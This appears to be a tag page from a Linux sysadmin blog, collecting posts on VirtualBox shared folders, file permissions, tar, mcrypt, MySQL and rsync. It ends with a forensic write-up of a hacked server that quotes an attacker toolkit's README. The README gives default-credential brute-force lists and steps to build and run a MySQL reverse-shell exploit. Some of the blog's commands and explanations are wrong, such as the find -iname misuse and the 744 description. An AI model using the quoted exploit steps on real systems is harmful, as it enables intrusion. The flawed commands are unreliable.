Posts Tagged ‘root user’

Virtualbox Shared folder set up on Linux between Host and Guest OS – Set up Virtualbox shared folder to Copy files from PC Host to Guest

Wednesday, September 12th, 2018

mount-shares-between-host-OS-and-guest-virtual-machine-howto-virtualbox-vbox-logo

How to set-up Virtualbox shared folder to Copy files from PC Host  and Guest Virtualized OS?

Running VirtualBox Host is an easy thing to set-up across all Operating Systems.  Once you have it sooner or later you will need to copy files from the VM Host OS (that in my case is GNU / Linux) to the virtualized Guest operating system (again in my case that's again another Linux ISO running indide the Virtual Machine).

Below are steps to follow To use Virtualbox Shared Folder functionality to copy files between VBox and your Desktop / server Linux install.

1. Install Virtualbox Guest Additions CD Image ISO

I've explained how to add the Guest Additions CD image thoroughfully in my previous article Howto enable Copy / Paste Virtualbox betwen Linux guest and Host OS
Anyways I'll repeat myself below for sake of clarity:

To do so use Oracle VBox menus (on the booted virtualized OS VBox window):

 

Devices -> Insert Guest additions CD Image

 

Mount the ISO inside the Linux Virtual Machine:

root@debian:~# mount /media/cdrom1/
 

If the mount fails and there are no files inside the mount point it might be because the virtualbox-dkms and virtualbox-guest-dkms packages might be missing on the Host OS.

To install them (on Debian GNU / Linux) assuming that you're using virtualbox default distro packages /etc/apt/sources.list :
 

apt-get install –yes -qq virtualbox-dkms virtualbox-guest-dkms


and run:

 

root@debian:/media/cdrom1# cd /media/cdrom1; sh VBoxLinuxAdditions.run


2. Create directory for Shared Folder that will be used to access Host / OS files from the Guest Virtualized OS
 

root@debian:~# mkdir /mnt/shared_folder

 

3. Map from VBox program interface Shared folder settings and Mount /mnt/shared_folder location

virtualbox-virtual-machine-devices-shared-folders-shared-folder-settings-linux-screenshot

 

Devices -> Shared Folder -> Shared Folder settings -> Transient Folders (click blue folder add small button right)

 

From Transient Folders add whatever directory you want to be shared from your local notebook / PC to the VM.

virtualbox-devices-Shared-Folder-Add-Shared-Folder-add-share-linux-screenshotDepending on whether you would like to mount the shared folder only for reading files (choose Read Only) to make it a permanent shared folder (and not just for the one session of current running Virtual Machine until its killed use Make Permanent) or check Auto-Mount tick if you want the shared_folder mapping to be mounted on every VM boot.

Once the shared_folder directory location is set-up from GUI menu click OK and in order for the settings to take effect, you'll need to restart the VM Guest with Linux (use halt command from terminal) or Power Off the Machine via the VBox menus.

To mount use command like:

mount -t vboxsf name_of_folder_linked_from_vbox  /mnt/name_folder_guest_os/


mount-vboxsf-shared-folder-mnt-shared-linux-guest-screenshot

In my case I wanted to share home folder /home so the command I used is:

root@debian:~# mount -t vboxsf  shared_folder /mnt/shared_folder


If everything is fine your Host OS file content from /home will be visible (for read and write if you Mapped it so) 
under /mnt/shared_folder …

And as Turtles Ninja used to heavily say Cowabunga !!! 🙂
You have it mounted and ready for file share between Desktop -> Virtualized OS.

 

Bear in mind that above mount command has to run as root (superuser) to succeed.

You now could copy files from your Host OS (running the Virtual Machine) and the Guest OS (Virtualized OS) using /mnt/shared_folder mount point without problems.

The example is if you want to share files between VirtualBox installed Linux and the Guest (Desktop / server) OS, however at many cases mounting your Host OS directory for root users might be not very practical but, instead you might prefer to do the mount for specific non admin user, for example I prefer to do the shared folder mount with my pointed non-root username hipo.

Here is how to do above VM shared_folder mount for non-root user:

First you need to know the exact UID / GID (User ID / Group ID) of user, you can get that with id command:

 

hipo@linux:~$  id
uid=1000(hipo) gid=1000(hipo) groups=1000(hipo),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth),115(lpadmin),119(scanner)

 

As you see UID / GID in my case are 1000 / 1000

hipo@linux:~$ sudo mount -t vboxsf -o rw,uid=1000,gid=1000 shared_folder /mnt/shared_folder

 

mount-virtual-box-shared_folder-with-non-administration-permissions-non-root-permissions-id-and-mount-command-screenshot-linux


4. Mounting configured shared_folder to automatically mount into the Guest OS Linux on every boot

a) Configuring shared_folder auto-mount using /etc/rc.local

If you need the shared_folder to automatically mount next-time you boot the virtual machine quickest way is to add the mount command to /etc/rc.local (on Debian 8 and Debian 9 and newer Ubuntu Linuxes rc.local is missing by default to enable it to work like it worked before read follow my previous article ).

b) Configuring auto-mount for shared_folder through /etc/fstab

The more professional way to auto-mount on emulated OS VM boot time,  you could add the vboxsf mount definitions to /etc/fstab with your favourite text-editor mcedit, nano, joe etc. … (for me that's vim).

Syntax of /etc/fstab is as follows:
 

<Device> <Mount Point> <Type> <Options> <Dump> <Pass>

root@linux:~# vim /etc/fstab

 

shared_folder /mnt/shared_folder                                vboxsf rw,uid=1000,gid=1000 0 0

Note that you will want to change 1000 / 1000, id / gid with the ones of the non-admin user you would like to add to mount it for.

A quick way to add it to /etc/fstab with a shell one-liner is with command
 

root@linux:~# echo 'shared_folder /mnt/shared_folder                                vboxsf rw,uid=1000,gid=1000 0  0' >> /etc/fstab

An alternative way to add a user to have permissions for vboxsf file system (without specifying the long -o uid=1000,gid=1000 options is to simply add the username in question to group vboxsf like so:

c) Adding non super user username to vboxsf group

root@linux:~# usermod -G vboxsf hipo
root@linux:~# grep -i vboxsf /etc/group
vboxsf:x:999:hipo

 

hipo@linux:~$ sudo mount -t vboxsf  shared_folder /mnt/shared_folder

 

without the extra arguments and the options to pass to /etc/fstab (for eventual requirement to auto mount the shared_folder) would be more simple e.g.:

 

echo 'shared_folder /mnt/shared_folder                                vboxsf ' >> /etc/fstab

 

One note to make here is if the uesr is added to vboxsf the line for /etc/fstab to auto mount to mount for root user and non-root will be identical.

Then you can get the /etc/fstab auto-mount configured tested by running:

c) Checking auto-mount is working

hipo@linux:~# mount -a
hipo@linux:~# mount |grep -i vboxsf
shared_folder on /mnt/shared_folder type vboxsf (rw,nodev,relatime)


5. What if you end up with mounting failed errors ? – What might be causing the mounting failed Protocol error (a few things to check to solve)


In case of troubles with the mount you might get an error like:

hipo@linux:~# mount -t vboxsf  share_folder /mnt/shared_folder

/sbin/mount.vboxsf: mounting failed with the error: Protocol error


This error might be caused because of Insert Guest Additions CD Image might be not properly enabled and installed using the ISO provided VBoxLinuxAdditions.sh shell script.
Other common reason you might get this error if you have mistyped the Folder name: given in Shared Folders -> Folder Path -> Add Share for example I have given shared_folder as a Map name but as you can see in above mount -t vboxsf, I've mistyped share_folder instead of the correct one shared_folder inserted.
In some VBox releases this error was caused by bugs in the Virtual Machine.
 

virtualbox-virtual-machine-shared-folder-transient-folder-add-folder-linux-VM-guest-linux

One useful tip is to be able to check whether a Virtualbox Virtual Machine has a configured shared_folder (if you're logging to manage the machine on remote server – nomatter whether you have logged in with VNC / Teamviewer / Citrix etc. or via SSH session.

To do so use VBoxControl as of time of writting usually located on most distributions under (/usr/bin/VBoxControl)
 

 

hipo@linux:~# VBoxControl sharedfolder list -automount
Oracle VM VirtualBox Guest Additions Command Line Management Interface Version 5.2.18
(C) 2008-2018 Oracle Corporation
All rights reserved.

 

Auto-mounted Shared Folder mappings (0):

No Shared Folders available.

You can use VBoxControl command to get set and list a number of settings on the VBox VM, here is an useful example with it where you get information about numerous VBox info values:

 

root@linux:~# VBoxControl guestproperty enumerate
Oracle VM VirtualBox Guest Additions Command Line Management Interface Version 5.2.18
(C) 2008-2018 Oracle Corporation
All rights reserved.

 

Name: /VirtualBox/GuestInfo/OS/Product, value: Linux, timestamp: 1536681633430852000, flags: <NULL>
Name: /VirtualBox/GuestInfo/Net/0/V4/IP, value: 10.0.2.15, timestamp: 1536681633438717000, flags: <NULL>
Name: /VirtualBox/HostInfo/GUI/LanguageID, value: en_US, timestamp: 1536697521395621000, flags: RDONLYGUEST
Name: /VirtualBox/GuestInfo/Net/0/MAC, value: 08002762FA1C, timestamp: 1536681633442120000, flags: <NULL>
Name: /VirtualBox/GuestInfo/OS/ServicePack, value: <NULL>, timestamp: 1536681633431259000, flags: <NULL>
Name: /VirtualBox/HostInfo/VBoxVerExt, value: 5.2.18, timestamp: 1536681619002646000, flags: TRANSIENT, RDONLYGUEST
Name: /VirtualBox/GuestInfo/Net/0/V4/Netmask, value: 255.255.255.0, timestamp: 1536681633440157000, flags: <NULL>
Name: /VirtualBox/GuestInfo/OS/Version, value: #1 SMP Debian 4.9.110-3+deb9u2 (2018-08-13), timestamp: 1536681633431125000, flags: <NULL>
Name: /VirtualBox/GuestAdd/VersionExt, value: 5.2.18, timestamp: 1536681633431582000, flags: <NULL>
Name: /VirtualBox/GuestAdd/Revision, value: 124319, timestamp: 1536681633432515000, flags: <NULL>
Name: /VirtualBox/HostGuest/SysprepExec, value: <NULL>, timestamp: 1536681619002355000, flags: TRANSIENT, RDONLYGUEST
Name: /VirtualBox/GuestInfo/OS/LoggedInUsers, value: 1, timestamp: 1536681673447293000, flags: TRANSIENT, TRANSRESET
Name: /VirtualBox/GuestInfo/Net/0/Status, value: Up, timestamp: 1536681633443911000, flags: <NULL>
Name: /VirtualBox/GuestInfo/Net/0/Name, value: enp0s3, timestamp: 1536681633445302000, flags: <NULL>
Name: /VirtualBox/HostGuest/SysprepArgs, value: <NULL>, timestamp: 1536681619002387000, flags: TRANSIENT, RDONLYGUEST
Name: /VirtualBox/GuestAdd/Version, value: 5.2.18, timestamp: 1536681633431419000, flags: <NULL>
Name: /VirtualBox/HostInfo/VBoxRev, value: 124319, timestamp: 1536681619002668000, flags: TRANSIENT, RDONLYGUEST
Name: /VirtualBox/GuestInfo/Net/0/V4/Broadcast, value: 10.0.2.255, timestamp: 1536681633439531000, flags: <NULL>
Name: /VirtualBox/HostInfo/VBoxVer, value: 5.2.18, timestamp: 1536681619002613000, flags: TRANSIENT, RDONLYGUEST
Name: /VirtualBox/GuestInfo/OS/LoggedInUsersList, value: hipo, timestamp: 1536681673446498000, flags: TRANSIENT, TRANSRESET
Name: /VirtualBox/GuestInfo/Net/Count, value: 1, timestamp: 1536698949773993000, flags: <NULL>
Name: /VirtualBox/GuestInfo/OS/Release, value: 4.9.0-7-amd64, timestamp: 1536681633431001000, flags: <NULL>
Name: /VirtualBox/GuestInfo/OS/NoLoggedInUsers, value: false, timestamp: 1536681673447965000, flags: TRANSIENT, TRANSRESET
Name: /VirtualBox/GuestAdd/HostVerLastChecked, value: 5.2.18, timestamp: 1536681702832389000, flags: <NULL>

Hope you enjoyed ! Have phun! 🙂

Change website .JS .PHP Python Perl CSS etc. file permissions recursively for Better Tightened Security on Linux Webhosting Servers

Friday, October 30th, 2015

change-permissions-recursively-on-linux-to-protect-website-against-security-breaches-hacks

It is a common security (breach) mistake that developers or a web design studio make with dedicated or shared hosted websites do to forget to set a nice restrictive file permissions.

This is so because most people (and especially nowdays) developers are not a security freaks and the important think for a programmer is to make the result running in shortest time without much caring on how secure that is.
Permissions issues are common among sites written in PHP / Perl / Python with some CSS and Javascript, but my observations are that JavaScript websites especially that are using some frameworks such as Zend / Smarty etc. and are using JQuery are the most susceptible to suffer from permission security holes such as the classic 777 file permissions, because of developers who’re overworking and pushed up for a deadlines to include new functionality on websites and thus often publish their experimental code on a Production systems without a serious testing by directly uploading the experimental code via FTP / WinSCP on Production system.

Such scenarios are very common for small and middle sized companies websites as well as many of the hobbyist developers websites running on ready CMS system platforms such as Joomla and WordPress.
I know pretty well from experience this is so. Often a lot of the servers where websites are hosted are just share-servers without a dedicated sysadmin and thus there are no routine security audits made on the server and the security permissions issue might lead to a serious website compromise by a cracker and make your website quickly be banned from Google / Yahoo / Ask Jeeves / Yandex and virtually most of Search Engines because of being marked as a spammer or hacked webiste inside some of the multiple website blacklists available nowdays.

Thus it is always a good idea to keep your server files (especially if you’re sysadmin) with restrictive permissions by making the files be owned by superuser (root) in order to prevent some XSS or vulnerable PHP / Python / Perl script to allow you to easily (inject) and overwrite code on your website.

1. Checking whether you have a all users read, write, executable permissions with find command

The first thing to do on your server to assure you don’t have a low security permissioend files is:

find /home/user/website -type f -perm 777 -print

You will get some file as an output like:

./www/tpl/images/js/ajax-dynamic-list/js/ajax-dynamic-list.js
./www/tpl/images/js/ajax-dynamic-list/js/ajax_admin.js
./www/tpl/images/js/ajax-dynamic-list/js/ajax_teams.js
./www/tpl/images/js/ajax-dynamic-list/js/ajax.js
./www/tpl/images/js/ajax-dynamic-list/js/ajax-dynamic-list_admin.js
./www/tpl/images/js/ajax-dynamic-list/lgpl.txt

2. Change permissions recursively to read, write and exec for root and read for everybody and set all files to be owned by (root) superuser

Then to fix the messy permissions files a common recommended permissions is 744 (e.g. Read / Write and Execute permissions for everyone and only read permissions for All Users and All groups).
Lets say you want to make files permissions to 744 just for all JavaScript (JQuery) files for a website, here is how:

find . -iname ‘*.js’ -type f -print -exec chown root:root ‘{}’ \;
find . -iname ‘*.js’ -type f -print -exec chmod 744 ‘{}’ \;

First find makes all Javascript files be owned by root user / group and second one sets all files permissions to 744.

To make 744 all files on server (including JPEG / PNG Pictures) etc.:

find . -iname /home/users/website -type f -print -exec chown root:root ‘{}’ \;
find . -iname /home/users/website -type f -print -exec chmod 744 ‘{}’ \;

Fix “tar: Error exit delayed from previous errors” and its cause and solution

Monday, August 18th, 2014

fix-solve-tar-error-delayed-exit-from-previous-errors-tarball-error

tar: Error exit delayed from previous errors

error is a very common error encountered when creating archives (or backing up server configurations / websites / sql binary data). The error is quite unexplanatory and whenever creating files verbose in order to see the files added to archve in "real time" with lets say:

tar -czvf /tmp/filename_backup_date-of-backup.tar.gz /home/websites /home/sql


its pretty hard to track on exactly which file is the backup producing the Error exit delayed from previous errors, this is especially the case whenever adding to archive directories containing millions of tiny few kilobyte sized files. Many novice on uncautious Linux admins , might simply ignore the warning if they're in a hurry / are having excessive work to be done as there will be .tar.gz backup produced and whenever uncompressed most of the files are there and the backup error would seem not of a big issue.

However as backuping files is vital stuff, especially when moving the files from a server to be decomissioned you have to be extra careful and make the backup properly, e.g. figure out the cause of the error, to do so log the full output of tar operations with tee command, like so:

tar -czvf /tmp/filename_backup_date-of-backup.tar.gz /home/websites/ /home/sql | tee /tmp/backup_tar_full_output.log

Then you will have to review the file and lookup for errors with less search string – / (slash) – look for "error" and "permission den" keywords and this should point you to what is causing the error. In cases when millions of files are to be archived, the log might grow really big and hard to process, therefore a much quicker way to understand what's happening is to only log and show in shell standard output last file error with > (shell redirect):
 

tar -czvf /tmp/filename_backup_date-of-backup.tar.gz /home/websites /home/sql > /tmp/backup_failure-cause.log

 

tar: www.ur-website.com-http/2.0.63/conf/tnsnames.ora.20080918: Cannot open: Permission denied
tar: Removing leading `/' from member names

The error indicates clearly the cause of error is lack of Permissions to read the file tnsnames.ora.20080918 so solution is to either grant permissions to non-root user with (chmod / chown) cmds, in my case grant perms to user hipo with which tar is ran, or run again the website backup with superuser, I usually just run with root user to prevent tampering with original permissions, e.g. to solve the error, either:

$ su root
# tar -czvf /tmp/filename_backup_date-of-backup.tar.gz /home/websites /home/sql

Or even better if sudo is installed and user is added to /etc/sudoers file

$ sudo tar -czvf /tmp/filename_backup_date-of-backup.tar.gz /home/websites /home/sql


Though permission errors is the most often reason for:

tar: Error exit delayed from previous errors, you should keep in mind that in some cases the error might be caused due to failing RAID membered disk drive or single hdd failure on systems that are not in some RAID array

 

How to password encrypt / decrypt files on Linux to keep and pass your data private

Thursday, August 7th, 2014

how-to-password-protect-encrypt-decrypt-files-linux-tux-logo.png
If you have a sensitive data like a scan copy of your ID card, Driving License, Birth Certificate, Marriage Certificate or some revolutionary business / idea or technology and you want to transfer that over some kind of network lets say Internet vie some public unencrypted e-mail service like (Gmail.com / Yahoo Mail / Mail.com / (Bulgarian Mail Abv.bg)) etc. you will certainly want to transfer the file in encrypted form to prevent, someone sniffing your Network or someone having administrative permissions to servers of free mail where your mail data is stored.

Transferring your files in encrypted form become very important these days especially after recent Edward Snowden disclosures about American Mass Surveilance program PRISM – for those who didn't yet hear of PRISM (this is a American of America's NSA – National Security Agency aiming to sniff and log everyone's information transferred in digital form via the Internet and even Mobile Phone conversations)…

First step to mitigate surveilance is to use fully free software (100% free software) OS distribution like Trisquel GNU / Linux.
Second is to encrypt to use encryption –  the process of transforming information (referred to as plaintext) using an algorithm (called cipher) to make it unreadable to anyone except those possessing special knowledge, usually referred to as a key.
There are many ways to encrypt your data on Linux and to later decrpyt it, I've earlier blogged about encryping files with GPG and OpenSSL on Linux, however encryption with GPG and OpenSSL is newer as concept than the old-school way to encrypt files on UNIX with crypt command which in Linux is replaced by mcrypt command.

mcrypt is provided by mcrypt package by default on most if not all Linux distributions, however mcrypt is not installed by default so to start using it you have to install it first.

1. Install mcrypt on Debian / Ubuntu / Mint (deb based) Linux

apt-get install –yes mcrypt

 

2. Install mcrypt on Fedora / CentOS rest of RPM bases Linux

yum -y install libmcrypt

 

3. Encrypting file with mcrypt

To get a list with all supported algorithms by mcrypt:
 

mcrypt –list
cast-128 (16): cbc cfb ctr ecb ncfb nofb ofb
gost (32): cbc cfb ctr ecb ncfb nofb ofb
rijndael-128 (32): cbc cfb ctr ecb ncfb nofb ofb
twofish (32): cbc cfb ctr ecb ncfb nofb ofb
arcfour (256): stream
cast-256 (32): cbc cfb ctr ecb ncfb nofb ofb
loki97 (32): cbc cfb ctr ecb ncfb nofb ofb
rijndael-192 (32): cbc cfb ctr ecb ncfb nofb ofb
saferplus (32): cbc cfb ctr ecb ncfb nofb ofb
wake (32): stream
blowfish-compat (56): cbc cfb ctr ecb ncfb nofb ofb
des (8): cbc cfb ctr ecb ncfb nofb ofb
rijndael-256 (32): cbc cfb ctr ecb ncfb nofb ofb
serpent (32): cbc cfb ctr ecb ncfb nofb ofb
xtea (16): cbc cfb ctr ecb ncfb nofb ofb
blowfish (56): cbc cfb ctr ecb ncfb nofb ofb
enigma (13): stream
rc2 (128): cbc cfb ctr ecb ncfb nofb ofb
tripledes (24): cbc cfb ctr ecb ncfb nofb ofb

 

 

mcrypt < File-To-Crypt.PDF > File-To-Crypt.PDF.cpy

 

Enter the passphrase (maximum of 512 characters)
Please use a combination of upper and lower case letters and numbers.
Enter passphrase:
Enter passphrase:


If crypt is invoked to create the encrypted file without OS redirects (< >), i.e.:
 

mcrypt -a blowfish File-To-Crypt.PDF

Please use a combination of upper and lower case letters and numbers.
Enter passphrase:
Enter passphrase:

File File-To-Crypt was encrypted.

 


mcrypt outputs encrypted file in .nc extension and the new file and file default mode of 0600 (read write only for root user) are set, while new file keeps the modification date of the original.


4. Decrypting file with mcrypt

Decryption of files is done mdecrypt

mdecrypt File-To-Crypt.PDF.cpy
 

Enter passphrase:
File File-To-Crypt.PDF.cpy was decrypted.

To make mcrypt behave in a certain way when invoked modify ~/.mcryptrd

mcrypt is also available as a module for php5 (php5-mcrypt).

MySQL: How to check user privileges and allowed hosts to connect with mysql cli

Wednesday, April 2nd, 2014

how-to-check-user-privileges-and-allowed-hosts-to-connect-with-mysql-cli

On a project there are some issues with root admin user unable to access the server from remote host and the most probable reason was there is no access to the server from that host thus it was necessary check mysql root user privilegse and allowed hosts to connect, here SQL query to do it:
 

mysql> select * from `user` where  user like 'root%';
+——————————–+——+——————————————-+————-+————-+————-+————-+————-+———–+————-+—————+————–+———–+————+—————–+————+————+————–+————+———————–+——————+————–+—————–+——————+——————+—————-+———————+——————–+——————+————+————–+———-+————+————-+————–+—————+————-+—————–+———————-+
| Host                           | User | Password                                  | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections |
+——————————–+——+——————————————-+————-+————-+————-+————-+————-+———–+————-+—————+————–+———–+————+—————–+————+————+————–+————+———————–+——————+————–+—————–+——————+——————+—————-+———————+——————–+——————+————+————–+———-+————+————-+————–+—————+————-+—————–+———————-+
| localhost                      | root | *5A07790DCF43AC89820F93CAF7B03DE3F43A10D9 | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            |          |            |             |              |             0 |           0 |               0 |                    0 |
| server737                        | root | *5A07790DCF43AC89820F93CAF7B03DE3F43A10D9 | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            |          |            |             |              |             0 |           0 |               0 |                    0 |
| 127.0.0.1                      | root | *5A07790DCF43AC89820F93CAF7B03DE3F43A10D9 | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            |          |            |             |              |             0 |           0 |               0 |                    0 |
| server737.server.myhost.net | root | *5A07790DCF43FC89820A93CAF7B03DE3F43A10D9 | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            |          |            |             |              |             0 |           0 |               0 |                    0 |
| server4586                        | root | *5A07790DCF43AC89820F93CAF7B03DE3F43A10D9 | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                | N                | N              | N                   | N                  | N                | N          | N            |          |            |             |              |             0 |           0 |               0 |                    0 |
| server4586.myhost.net              | root | *5A07790DCF43AC89820F93CAF7B03DE3F43A10D9 | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                | N                | N              | N                   | N                  | N                | N          | N            |          |            |             |              |             0 |           0 |               0 |                    0 |
+——————————–+——+——————————————-+————-+————-+————-+————-+————-+———–+————-+—————+————–+———–+————+—————–+————+————+————–+————+———————–+——————+————–+—————–+——————+——————+—————-+———————+——————–+——————+————+————–+———-+————+————-+————–+—————+————-+—————–+———————-+
6 rows in set (0.00 sec)

mysql> exit


Here is query explained:

select * from `user` where  user like 'root%'; query means:

select * – show all
from `user` – from user database
where user like 'root%' – where there is match in user column to any string starting with 'root*',
 

screen -d Fix “Must run suid root for multiuser support.” su user detach error

Thursday, March 28th, 2013

I had to run a shell script to run automatically in detached screen during Linux system boot up via /etc/rc.local. This is needed because the server uses the tiny shell script to fetch data from remote host database and fill information into local MySQL server.

My idea was to su from root to www-data (Apache) user – the script has requirements to run with Apache user, then it has to run detached using GNU screen (multi terminal emulator. The tiny one line script I imagined would do the trick is like so:

# tty=$(tty); su www-data -c 'cd /home/user/www/enetpulse; screen -d /home/user/www/enetpulse/while_true.sh'; chmod 0720 $tty

I run this as root user to test whether it will work or not before I put it in /etc/rc.local but for my surprise got an error:
 

Must run suid root for multiuser support.

After a quick investigation on what is causing it I came across the solution which is to include screen arguments (-m -S shared). The working variant that gets around the error – i.e. successfully changes user privileges to Debian Apache user (www-data) and then detach with screen is:

# tty=$(tty); chmod a+rw $tty; su www-data -c 'cd /home/user/www/enetpulse; screen -d -m -S shared /home/user/www/enetpulse/while_true.sh'; chmod 0720 $tty;

That's all now script works out as planned on next server reboot

Rsync slow data (bandwidth limit) transferring on productive Linux / *BSD servers to 2nd

Thursday, March 7th, 2013

If amount of Unique users on website has increased dramatically and Apache + PHP server starts to get user load higher than 50% in times of most users site activity then it is time to move to think of migrating data on more powerful Server hardware.

Moving few thousands of Gigabytes of PHP, JS, PNG, JPG images and plain text files data from a productive host to another puts an extra burden on hard disk Input / Output (I/O) operations, thus risking to put extraordinary server load and make websites on server inaccessible. The normal way I copy data on less busy servers is create  .tar.gz archive of data from one server and transfer with sftp or scp. In this situation, doing so however puts too much load on server and thus is risking to stone the server and make it inaccessible to users. A solution to problem is to use rsync instead, synchronizing data between the servers by instructing it to transfer data from one hard disk to another via network using a maximum read/write bandwidth.

rsync command argument specifying a maximum bandwidth is --bwlimit=KBPS

To transfer data between two servers specifyinga maximum transfer bandwidth of 10MB per second you have to pass 2MBytes as it is in megabytes (2*1024Kb) = 2048.

Hence to make the transfer while logged to current productive server via SSH to host server with IP XXX.XXX.XXX.XXX I used:
w:~# cd /home/sites
w:/home/sites# /usr/bin/rsync --bwlimit=2048 -avz -e ssh . root@XXX.XXX.XXX.XXX:/home/sites/

The arguments to above rsync command are clear enough (-e ssh) – tells to use ssh as data transfer protocol, (root@) – specifies to connect to second server with root user and (:/home/sites/) – tells rsync to transfer to remote server to same directory (/home/sites/) like from which copying.

Bear in mind that, in order this method to work, rsync has to be installed both on the server from which data is transferred and to second one to where data is transferred.
Since rsync is available in Linux as well as has port in FreeBSD / NetBSD / OpenBSD ports tree, same way to transfer "web data" while upgrading BSD OS host to another is possible.

Captured crackers sslog mysqljackpot MySQL bruteforcer tool / exploit – Xzibit Rootkit and HIDDEN Processes Found: 1 False Positive reports

Monday, October 29th, 2012

XZibit false positive .depend.boot mysqljackpot script kiddie mysql admin user bruteforcer tool and 3 scenarios on how a server could have been hacked
I've noticed some kind of script kiddie gained access somehow on one of the servers, I administrate. A MS-SQL Scanner tool called sslog, was downloaded in tmp and run with root user credentials.

The cracked victim host is running Debian Linux Squeeze and last security update, I've made about few months ago. Inside /tmp/.a/ directory, I've found 0day MS-SQL scanner called mysqljackpot. Maybe the tool is still private exploit scanner because on the Internet I couldn't find it anywhere.:

# ls -al /tmp/.a
total 52
drwxr-xr-x 5 root root 4096 Oct 29 01:10 ./
drwxrwxrwt 10 root root 36864 Oct 29 14:46 ../
drwxr-xr-x 3 root root 4096 Oct 27 21:46 mysqljackpot/
drwxr-xr-x 3 root root 4096 Oct 28 16:58 new/
drwxr-xr-x 3 root root 4096 Oct 29 12:48 pass-multe/
# ls -al /tmp/.a/new/
total 12
drwxr-xr-x 3 root root 4096 Oct 28 16:58 ./
drwxr-xr-x 5 root root 4096 Oct 29 01:10 ../
drwxr-xr-x 3 root root 4096 Oct 29 00:58 mysqljackpot/

After further investigations, I've realized ./sslog is actually a frontend scanner program (Synscan 5.02):

root@host:/tmp/.a/new/mysqljackpot/scanner# ./sslog
Synscan 5.02 (http://www.digit-labs.org/files/tools/synscan/)
by John Anderson ,
Neil Kettle .
./sslog: getuid(): UID or EUID of 0 required

As you see in order for the scanner to run it requires to be root with superuser privileges.

mysqljackpot is actually a brute force tool which as explained in a file (README.mysql), found in its directory :

Here is content of README.mysql:

MySQL Login Scanner
By Kingcope
REQUIRES A FAST SCANSERVER!!! DONT TRY TO RUN THIS FROM A SLOW CONNECTION! ***

Scans for open mysql servers with the following credentials:
root <nopass>
root mysql
root root
admin <nopass>
admin admin
admin mysql
mysql <nopass>
mysql mysql

Runs on linux.
Requirements: mysql development libraries and headers
Compile (try one of the following depending on your system):
$ ./configure LIBS=-lmysqlclient
OR
$ ./configure LIBS="-L/usr/lib/mysql" -lmysqlclient
OR
$ ./configure LIBS="-L/usr/lib64/mysql" -lmysqlclient
OR
$ ./configure CFLAGS="-lmysqlclient"

afterwards type

$ make linux

Run:
terminal 1:
./sslog -v
terminal 2:
./synscan -b <ip block> -p 3306

Inspect Logfile "mysqljack.pot" for open servers.
 

There is one other README in /tmp/.a/new/mysqljackpot/README, here is what I found in it:

less README
Oracle MySQL on Windows Remote SYSTEM Level Exploit zeroday
All owned By Kingcope

Installation Instructions
=============================

1. Install mysql client libraries and headers (UNIX)
RedHat based (e.g. CentOS):
yum install mysql mysql-devel

2. Compile the standalone exploit
issue commands:
gcc mysqljackpot.c -o mysqljackpot -L/usr/lib/mysql -lmysqlclient

3. Compile the reverse shell payload (this is required!)
required because the connect back ip and port are hardcoded in the dll:
use mingw on windows or wine
change REVERSEIP and REVERSEPORT to suit your needs. If you change REVERSEPORT you have
to change the port in mysqljackpot.c too (default port: 443).
issue commands:
set PATH=%PATH%;c:\MinGW\bin\
gcc -c payload.c
gcc -shared -o payload.dll payload.o -lws2_32
copy the payload.dll into the mysqljackpot exploit folder

4. Run The Exploit
./mysqljackpot -u root -p "" -t 99.99.99.99
A valid database admin user and his password are required
for the exploit to work properly.
This exploit is especially useful when used in connection
to a MySQL login scanner, see scanner/README.mysql inside this package.
Be sure to have the firewall open on the desired reverse port
on the attacking machine.

5. Enjoy your SYSTEM Shell!!!

Yours Sincerely,

— Kingcope
 

 

Here is also the header from mysqljackpot.c mysql username brute force tool:

/* Oracle MySQL on Windows Remote SYSTEM Level Exploit zeroday
 * Copyright (C) 2012 Kingcope
 *
 * Thanks to danny.
 */
 

After thinking over the security breach I thought of  few scenarios on how the attacker entered and run as root superuser. One is;

  •   Cracker entered directly via SSH after sniffing somehow the root password.

After however, a review of last cmd, I've concluded this case is not very likely, e.g.:

# last |grep -i root

did not found any logs, of unusual root logins, neither there seem to be any unusual activity with logins with other non-root users. Of course it is possible someone logged in as root and used some tool to clean, his tracks with some kind of user log-cleaner tool like the one I've written in past in bash this doesn't seem very likely however because. It seem the /tmp/.a/, directory was created by some amateur script kiddie, a professional one would create some a bit smarter directory like for example just few empty spaces , i.e. would create it with, lets say::

# mkdir "   "

instead of the so trivial

# mkdir /tmp/.a/

Also the name of the directory containing the script kiddie tool /tmp/.a is not selected intelligently, but just done in a hurry, hence I even assume /tmp/.a, is created by some automated SK tool writen in hurry by some Romanian SK Cracker 🙂

On the host there was webmin and usermin running. So;

  • my second assumption was it could be someone sniffed a login password via encrypted SSL connection, whether the root logged in via webmin, or somehow exploited usermin (though I should say usermin (which listens by default on port number 20000)
     

